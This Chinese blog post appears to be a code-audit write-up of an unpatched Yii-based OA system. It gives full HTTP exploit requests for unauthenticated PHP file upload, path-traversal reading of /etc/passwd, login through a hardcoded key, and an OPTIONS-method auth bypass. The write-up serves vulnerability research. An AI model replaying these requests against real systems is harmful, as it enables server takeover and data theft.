前言
本次审计的是一套Yii框架开发的OA系统,算是小0day吧,由于尚未公开,大部分都是厚码。
本篇文章由星盟安全团队成员@Zjacky师傅投稿,博客地址为https://zjackky.github.io/
开发文档
(有的时候一键搭建的时候是会存在一些开发文档的,这些入口文件,路由拼接 , 都需要去查看这些开发文档)
可以发现他其实是以system作为根目录来进行模块化管理,所以我们可以对照着开发文档以及登录的接口来对比看这个MVC框架是如何对应的,当然了,我们可以找到他的Yii入口文件为/web/index.php
这个index.php做了几个定义
首先是设定了我们用户登录的地址为/oa/main/login
然后应用的入口为oa
抓到登录的接口
可以发现是/oa/main/login这样的接口(由于他有csrf-token所以重放包会302),所以直接看报错回显即可。
那我们再来仔细看看Yii的路由分析(具体详细的原理代码跟踪在参考链接中可参考)
其实框架的URI分析还是有点复杂的(看个大概就行),这个时候我们来找找这个/oa/main/login是怎么对应的
在systemmodulesoacontrollersMainController.php 找到以下代码
继续跟进
systemmodulesusercomponentsLoginAction::className()
搜索一下账号不存在其实就可以找到确实是这么个对应法了
那么这个路由总结一下
/oa/main/login -> 模块名(models)/控制器(controller)/操作(action)
当然了 ,在后续的审计过程中发现其实也给出了相对应的路由访问形式写在了代码中的
会在$dependIgnoreValueList 变量中将一些路由访问形式写出来(前提是这个$layout是一个@开头的东东)
审计
上传1
全局搜了下move_uploaded_file 然后找了两个在modules下的文件进行审计
当进去看上传逻辑的时候发现有一个很抽象的点,开发把扩展后缀的限制注释掉了,所以导致了后面写$config的时候会没有效果
那么很有可能就会存在任意文件上传了,然后下面的操作就是跟进了下saveAs方法发现也并没有什么过滤
那么接下来就是如何去找到一个控制器是调用了这个类的方法
systemmodulesmainextendSaveUpload.php#saveFile的
emmm 全局搜索了下发现并没有,于是我在此全局搜索了下SaveUpload这个关键词
发现一个点,他通过命名空间来进行调用方法的,所以说只要出现了SaveUpload::saveFile( (并且在modules下)就会存在任意文件上传了
那么在上述已经讲述过了Yii框架的路由分析,所以这个时候只要去找到谁去调用了这些路径的方法即可 ,比如全局搜索
-
systemmodulesmainextendUpload.php
-
systemmodulespartyextendUpload.php
但是上述两个最为简单的发现并没有成功
这里太多任意文件上传
其实大部分都不能成功的,因为鉴权了,但是以下是存在未授权访问的
-
contacts/default/upload
-
salary/record/upload
-
knowledge/default/upload
而鉴权的代码是这样子的
最终报文
POST /index.php/salary/record/upload HTTP/
1.1
Host: xxx
Content-Length:
196
Cache-Control: max-age=
0
sec-ch-ua:
sec-ch-ua-mobile: ?
0
sec-ch-ua-platform:
""
Upgrade-Insecure-Requests:
1
Origin: http:
//127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQayVsySyhSwgpmLk
User-Agent: Mozilla/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
115.0
.5790
.171
Safari/
537.36
Accept: text/html,application/xhtml+xml,application/xml;q=
0.9
,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/upload/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryQayVsySyhSwgpmLk
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundaryQayVsySyhSwgpmLk--
上传2 + 任意文件下载
全局搜索函数move_uploaded_file
找到webstaticlibwebofficejsOfficeServer.php这个文件
直接访问下发现返回200证明文件存在
接着审计代码逻辑
代码很短,可以很轻松读懂,获取一个json值,然后获取他的OPTION值满足他的switch值就可以进入到上传的逻辑,可以进行文件下载,也可以进行上传
经过测试,可控
接着就是构造下载包和上传包了
GET /
static
/lib/weboffice/js/OfficeServer.php?FormData={%
22
OPTION%
22
:%
22L
OADFILE%
22
,%
22F
ILEPATH%
22
:%
22
/../../../../../../../../../../../etc/passwd%
22
} HTTP/
1.1
Host: xxxx
Accept: application/json, text/javascript, *
/*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://oa1.shuidinet.com/index.php/oa/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
POST /
static
/lib/weboffice/js/OfficeServer.php?FormData={%
22
OPTION%
22
:%
22
SAVEFILE%
22
,
"FILEPATH"
:
"/222.php"
} HTTP/
1.1
Host: xxxx
Content-Length:
202
Cache-Control: max-age=
0
sec-ch-ua:
sec-ch-ua-mobile: ?
0
sec-ch-ua-platform:
""
Upgrade-Insecure-Requests:
1
Origin: http:
//127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQayVsySyhSwgpmLk
User-Agent: Mozilla/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
115.0
.5790
.171
Safari/
537.36
Accept: text/html,application/xhtml+xml,application/xml;q=
0.9
,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/upload/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryQayVsySyhSwgpmLk
Content-Disposition: form-data; name="FileData"; filename="222.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundaryQayVsySyhSwgpmLk--
任意用户登录
在上传的篇章中是可以知道架构的,看了oa下的文件,发现Auth的鉴权控制器查看后发现存在硬编码
当然也给了注释
那么构造逻辑即可成功登录,传入user base64加密的内容并且跟key进行拼接后再md5加密传为token, 两者相等即可登录
前提是user是存在的(跑一下就知道是zhangsan存在)
GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/
1.1
Host: xxxx
Upgrade-Insecure-Requests:
1
User-Agent: Mozilla/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
115.0
.5790
.171
Safari/
537.36
Accept: text/html,application/xhtml+xml,application/xml;q=
0.9
,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# user zhangsan
直接跳转即可登录了
权限绕过
找到这个文件
api/modules/v1/controllers/UserController.php
细看这里的代码
// 不需要认证的方法,用下划线形式,如get_info
public
$notAuthAction = [
'auth'
,
'verify-url'
];
方法名为
actionVerifyUrl()
actionGetInfo()
actionAuth()
直接传参,actionAuth 和 VerifyUrl 不需要鉴权
那也就是说GetInfo是需要鉴权的,我们传参进去试试
需要去熟悉一下Yii的框架了,所以从他的/web/下的入口文件来找到定义/api的入口 -> oa-api.php
尝试以下传参后发现返回404
/oa-api.php/v1/user/getinfo?id=
1
重新回过头来查看这串代码
public
$notAuthAction = [
'auth'
,
'verify-url'
];
发现可能中间会存在-来进行分割
所以最终通过以下传参发现成功传入但回显为401证明存在鉴权
/oa-api.php/v1/user/get-info?id=
1
这里因为他继承了BaseApiController 所以跟进父类查看
tips: 这里的behaviors方法应该是会先走的
所以下边有一个||进行了一个if判断,这里判断登录是否请求方式为OPTIONS 或者 是不鉴权的接口(notAuthAction)就进入下面逻辑,那就猜测通过OPTIONS后就不鉴权了接口于是构造报文
参考链接
-
https://blog.csdn.net/yang1018679/article/details/105929162 (Yii路由分析一)
-
https://blog.csdn.net/yang1018679/article/details/105935326 (Yii路由分析二)
总结
-
一定要细心,多仔细去猜测开发的思路
-
多猜测一些奇怪的写法(以黑盒的逻辑来看白盒)
-
要有经验
原文始发于微信公众号(星盟安全):某OA 0day审计分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论